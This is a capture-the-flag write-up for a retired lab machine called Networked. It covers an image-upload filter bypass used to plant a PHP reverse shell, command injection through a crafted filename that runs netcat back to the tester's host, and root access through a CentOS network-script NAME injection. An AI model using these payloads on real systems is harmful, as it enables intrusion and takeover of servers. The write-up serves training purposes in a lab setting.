Networked is an easy rated Linux retired machine, with a white-box pentesting to exploit an upload vulnerability and get user privilege and then exploiting Redhat/CentOS network-scripts vulnerability to get root. Let’s get started.
Used Tools:
- nmap
- gobuster
- tar
- netcat
- touch
1. SCANNING & ENUMERATION
I will start with nmap and the -A parameter to enable OS detection, version detection, script scanning, and traceroute and append the output to tee command which save the in a file named “nmap” and also show the output on the screen.
We found 2 opened ports:
- 22 for an SSH
- 80 for an HTTP server
Checking the http page found nothing…
Checking the source code found a comment declaring that there are 2 pages called upload and gallery
tried access upload and gallery pages but got nothing, So tried directory bruteforcing…
1
gobuster dir -u http://10.10.10.146/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o directory.txt 2>/dev/null
Found /uploads, /backup
/uploads file contain nothing but /backup
file contain backup.tar file
downloading the file and extracting it, Found 4 php code files…
1
tar xvf backup.tar
After some careful analysis of the files, one thing I noticed was the way images are checked in the upload.php
file (based on their Content-Type and file extension).
Another thing that stood out for me, was the fact that all error messages were uniquely identifiable so that you could easily track where you made a mistake which is a very big mistake in the development process to not double check that the error messages are the same.
upload.php:
Here it check the mime-type and the file size < 6mb.
The mime-type check included a dot
at the end of the message.
Note: check_file_type() is a function in the lib.php file that check the mime-type of the uploaded file
1
2
3
4
5
6
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}
While the extension check did not!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}
if (!($valid)) {
echo "<p>Invalid image file</p>";
displayform();
exit;
}
So after further analysis of the files, I decided to check the files that I had not yet discovered for their existence on the web server.
Uploaded photos are displayed in teh http://10.10.10.164/photos.php
http://10.10.10.164/upload.php
contain an upload form for image uploading…
index.php is the same as the default page and lib.php isn’t displayed of course because its a library file contain function used in /upload.php and /photos.php
2. EXPLOITATION
I tried to upload normal images to check the flow of the application is as I thought.
Let’s use php-reverse-shell.php
under /usr/share/webshells/php/ and make modificatins to it in order to bypass security conditions.
Append “GIF89a;” at the top of the file inorder to bypass the mime-type filtering…
and modify the $ip and $port for the local IP and the listening port we will be listening at…
Then rename the file to php-findsock-shell.php.gif
and upload it to /upload.php
The file is uploaded successfully.
Create a listener on our local machine and then reload http://10.10.10.146/photos.php
It will keep loading, Let’s check our netcat listener…
BOOOOOOOOM ! We successfully gained a shell for apache
user.
but our user don’t have read permissions on the user flag as it belong to a user called guly
.
3. PRIVILEGE ESCALATION:
I. Upgrade to guly
In the /home/guly
there is a file called crontab.guly
After reading it’s content I found that it’s a crontab file that executes /home/guly/check_attack.php
every 3 minutes.
Let’s read check_attach.php file…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>
After analyzing the script, it checks all files in the /var/www/html/uploads
directory and then performs an rm -f
on each file. However, if I can create a filename that looks just like a linux command, it will execute that just the same.
Let’s navigate to /var/www/html/uploads and write our file there…
1
touch "; nc -c bash 10.10.16.10 5555"
Create a listener on port 5555 and wait for a connection…
BOOOOOOOOM ! We successfully upgraded to guly
user and have the user.txt flag
II. Upgrade to root
Let’s see if there are commands guly could execute as a root.
1
sudo -l
guly can execute /usr/local/sbin/changename.sh
as a root without any password required
Reading the content of changename.sh
…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
The script reads the /etc/sysconfig/network-scripts/ifcfg-guly
file and append to it NAME, PROXY_METHOD, BROWSER_ONLY, BOOTPROTO
by taking them as an input from the user…
Searching about the ifcfg-guly
file I found this article: https://seclists.org/fulldisclosure/2019/Apr/24
Which says that this file in CentOS is vulnerable:
If, for whatever reason, a user is able to write an ifcf-
In my case, the NAME=
attributed in these network scripts is not handled correctly. If you have white/blank space in the name the system tries to execute the part after the white/blank space.
Which means; everything after the first blank space is executed as root.
Let’s try to apply this and execute changename.sh
…
Note: I will type test as an input in the 4 required fields during the execution of the script, and in the Name: parameter I will type test /bin/bash to execute /bin/bash as root
BOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOM !!!! Now we are root :D
Thank you so much for reading and I hope you learned a lot as I did ❤